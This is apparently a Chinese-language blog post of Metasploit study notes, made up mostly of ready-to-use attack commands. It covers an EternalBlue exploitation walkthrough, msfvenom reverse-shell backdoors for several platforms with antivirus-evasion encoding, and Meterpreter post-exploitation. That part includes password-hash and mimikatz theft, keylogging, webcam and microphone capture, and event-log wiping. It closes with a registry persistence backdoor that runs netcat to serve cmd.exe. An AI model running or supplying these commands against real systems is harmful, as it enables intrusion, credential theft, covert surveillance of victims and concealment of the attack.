MSF学习笔记

目录

一.MSF启动

二.MSF目录结构于核心模块

        三.msfvenom常用参数

四.基于MSF发现内网存活主机

五.利用MSF创建后门程序

六.Meterpreter常用命令

常用命令:

文件系统命令:

用户设备命令:

开启远程桌面

收集信息

针对未安装补丁攻击

注册表设置nc后门


 

一.MSF启动

1.先启动postgresql数据库,这个是msf 的默认数据库

service postgresql start

2.如果是第一次使用还需要初始化数据库

postgresql enable

3.启动msf控制台

msfconsole

二.MSF目录结构于核心模块

msf的模块都放在

/usr/share/metasploit-framework/modules/这个目录下(这个是kali里面的)

MSF学习笔记_第1张图片

1.auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

2.exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用

3.payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码

4.post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等

5.encoders:编码器模块,主要包含各种编码工具,对pavload进行编码加密,以便绕过入侵检测和过滤系统

6.evasion:躲避模块,用来生成免杀payload

7nops:这里主要放着调整shellcode前置nop指令长度的工具

这里只需要对前六个模块熟知即可,第七个基本用不到。在渗透测试的时候的利用这六个模块的基本流程就是下面这几步,但不是全部的都是跟下面一样,具体情况具体分析。

msfconsole                                                                         1.进入框架

search ms17_010                                                               2.使用search命令查找相关漏洞

use exploit/windows/smb/ms17_010_eternalblue               3.使用use进入模块

info 或options                                                                       4.使用info或options查看模块信息

set payload windows/x64/meterpreter/reverse_tcp             5.设置攻击载荷

show options                                                                        6.查看模块需要配置的参数

set RHOST 192.168.100.158                                               7.设置参数

exploit / run                                                                           8.攻击

后渗透阶段                                                                            9.后渗透阶段

三.msfvenom常用参数

Kali中的msfvenom 取代了msfpayload和msfencode,常用于生成后门木马

msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码

msfencode是MSF编码器

-i 列出指定模块的所有可用资源模块类型包括: payloads,encoders,nops,all

-p 指定需要使用的payload(攻击荷载)。

-f 指定输出格式

Executable formats:Asp、aspx、 aspx-exe、 axis2、 dll、elf、 elf-so、 exe、 exe-only、 exe-service、 exe-smallhta-psh、jar、jsp、 loop-vbs、 macho、 msi msi-nouac、 osx-app、psh、 psh-cmd、 psh-net、pshreflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、 base64、 bash, ccsharp、dw、 dword、 hex、 javajs be、 js le、 num.perl、pl、powershell、ps1、py、 python、raw、rb、ruby、 sh、 vbapplication、 vbscript;

-e 指定需要使用的encoder(编码器)编码免杀

-a 指定payload的目标架构

选择架构平台:x86|x64|x8664

Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsdfreebsd, aix, hpux,irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o 保存payload文件输出。

-b 设定规避字符集,比如:x00xf 避免使用的字符

-n为payload预先指定一个NOP滑动长度

-s 设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小

-i 指定payload的编码次数

-c 指定一个附加的win32shellcode文件

-x 指定一个自定义的可执行文件作为模板例如:原先有个正常文件normalexe可以通过这个选项把后门捆绑到这个程序上面

-k 保护模板程序的动作,注入的payload作为一个新的进程运行例如:原先有个正常文件normal.exe可以通过这个选项把后门捆绑到这个程序上面

-v指定一个自定义的变量,以确定输出格式

四.基于MSF发现内网存活主机

search 搜索

msf终端内输入 search scanner type:auxiliary(这里也是利用了辅助模块)

可用于发现主机的模块

auxiliary/scanner/discovery/arp_sweep #基于ARP发现内网存活主机auxiliary/scanner/discovery/udp sweep # 基于UDP发现内网存活主机auxiliary/scanner/ftp/ftp_version # 发现FTP服务

auxiliary/scanner/http/http _version # 发现HTTP服务

auxiliary/scanner/smb/smb version # 基于smb发现内网存活主机

想要使用哪个模块去探测存活主机直接use后面跟模块即可

五.利用MSF创建后门程序

Windoes

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai-b'\x00x0axff\' -i 3 -f exe -o payload.exe

Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho

Android //需要签名

msfvenom -a x86--platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -f raw > shell.php

cat shell.php|pbcopy && echo' shell.php && pbpaste >> shell.php

ASP

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口-f aspx -o payloadaspx

创建完的后门程序被目标触发后,可以利用监听模块拿到对方权限,这里就要提到meterpreter了

这里先进入到监听模块:use exploit/multi/handler

然后设置自己的ip和监听的端口,这个端口要和刚才创造的后门里面的端口相同

接着就是设置payload(也是和刚才一样):set payload windows/meterpreter/reverse_tcp

最后直接run即可

六.Meterpreter常用命令

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。

常用命令:

sessions -i 进入会话

sessions -k 杀死会话

pwd 查看当前目录

getuid 查看当前用户信息

sysinfo 查看远程主机系统信息

execute 在目标主机上执行命令

hashdump 获取目标主机用户密码hash信息(只要我们能够获取到目标的用户凭证,那么即使目标修补了漏洞,我们还是可以控制目标)

getsystem 提升权限(通过内置的提权组件来尝试获取到系统权限)

shell 切换至传统shell

background 将当前session放入后台

kill 关闭进程

load 加载meterpreter扩展

exit 退出当前shell

arp 显示ARP缓存

getproxy 显示当前代理配置

ifconfig 显示接口

ipconfig 显示接口

netstat 显示网络连接

portfwd 将本地端口转发到远程服务

route 查看和修改路由

getenv 查看环境变量

getprivs 查看权限

pgrep 搜索进程

ps 查看当前运行进程(主要查看有没有杀软,可以通过在线杀软对比来确定)

reboot 重启系统

reg 修改注册表

help 查看相关的命令

migrate 进程迁移(主要是防止当前的会话断开,所以尽快迁移到其他稳定的进程当中去,要注意两点:迁移的进程位数要一致,迁移的权限最好一致)

clearev 清除windows中的应用程序日志、系统日志、安全日志

文件系统命令:

cat 查看文件

cd 改变目录

checksum 校验文件md5或sha1

cp 拷贝文件

download 下载文件

edit 编辑文件

ls 列出文件

mkdir 创建文件夹

mv 移动文件

rm 删除文件

rmdir 删除文件夹

search 查找文件

show_mount 列出所有驱动器

upload 上传文件

用户设备命令:

enumdesktops 列出所有可访问的桌面和窗口

getdesktop 获取当前桌面

idletime 获取远程系统已运行时间(从上次重新启动开始计算)

keyboard_send 发送击键

keyscan_dump 转储击键缓冲区

keyscan_start 开始捕获击键

keyscan_stop 停止捕获击键

mouse 发送鼠标事件

screenshare 实时观看远程用户的桌面

screenshot 截屏

setdesktop 更改shell当前桌面

uictl 控制用户界面组件

record_mic 记录麦克风一定秒数

webcam_chat 开始视频聊天

webcam_list 列出网络摄像头

webcam_snap 从指定网络摄像头拍摄

webcam_stream 播放指定网络摄像头的视频流

play 在目标系统播放音频

mimikatz抓取密码

load mimikatz 加载mimikatz模块

help mimikatz 查看帮助

wdigest 获取密码

开启远程桌面

run vnc 使用vnc连接远程桌面

run getgui -e 开启远程桌面

run post/windows/manage/enable_rdp 开启远程桌面

run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 添加用户

run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 将3389端口转发到6662

收集信息

run post/windows/gather/checkvm #是否虚拟机

run post/linux/gather/checkvm #是否虚拟机

run post/windows/gather/forensics/enum_drives #查看分区

run post/windows/gather/enum_applications #获取安装软件信息

run post/windows/gather/dumplinks #获取最近的文件操作

run post/windows/gather/enum_ie #获取IE缓存

run post/windows/gather/enum_chrome #获取Chrome缓存

run post/windows/gather/enum_patches #补丁信息

run post/windows/gather/enum_domain #查找域控

针对未安装补丁攻击

run post/windows/gather/enum_patches 收集补丁信息

攻击:

msf > use exploit/windows/local/xxxx

msf > set SESSION 2

msf > exploit

注册表设置nc后门

upload /usr/share/windows-binaries/nc.exe C:\windows\system32 #上传nc

reg enumkey -k HKLM\software\microsoft\windows\currentversion\run #枚举run下的key

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值

reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc #查看键值

nc -v 192.168.159.144 443 #攻击者连接nc后门

 

 

你可能感兴趣的:(渗透工具,postgresql,网络安全,web安全)